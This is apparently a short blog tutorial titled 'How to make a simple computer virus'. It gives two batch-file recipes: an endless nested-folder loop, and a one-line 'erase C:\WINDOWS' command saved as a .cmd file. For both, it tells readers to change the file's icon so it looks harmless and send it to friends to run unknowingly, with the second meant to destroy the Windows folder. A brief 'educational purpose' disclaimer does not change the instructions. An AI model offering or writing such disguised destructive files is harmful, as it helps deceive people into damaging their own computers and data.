How to make a simple computer virus


computer virus

What is virus..?

Computer virus is a set of instruction or set of computer program which may cause to destroy your computer system's data and performance. It spread from one system to another system. Some simple virus do nothing beyond regenerating themselves.

Here, I am explaining two example to make a simple computer virus.


Example-1. Infinite Folder Inside Folder

virus

It is the simple example of virus. you can create a infinite folder inside the folder. This program will not damage your system so you need not to worry about that. You can easily test in your computer system. Now you follow the below steps to make a infinite folder inside folder.

Step-1. Open notepad and paste the below line of code.

:virus
md folder
cd folder
goto virus

Step-2. save this file as virus.bat

Step-3. Now, you double click on this file, it will create a infinite folder inside the folder.

NOTE: To stop this process, you just close the command prompt(CMD).

TIPS: if you want to send this virus file to your friends than first you change the icon of this file so that it looks like a normal file. When your friend will click on this file it will automatically generates the infinite folder.


Example-2. Format the windows in computer system

virus

NOTE: This example is only for educational purpose, you don't run this program in your system or your friends system otherwise you are responsible for any damage or harm.

Step-1. open notepad

Step-2. now you type erase C:\WINDOWS,

Step-3. save this file as anyname.cmd

Step-4. now, change the icon of this file so that it will look like a normal file.

Step-5. you send this file to your friend. when your friend will click on this file, it will format the windows folder in C drive. Then you have to install the windows again.

Thank you to all my reader

Related post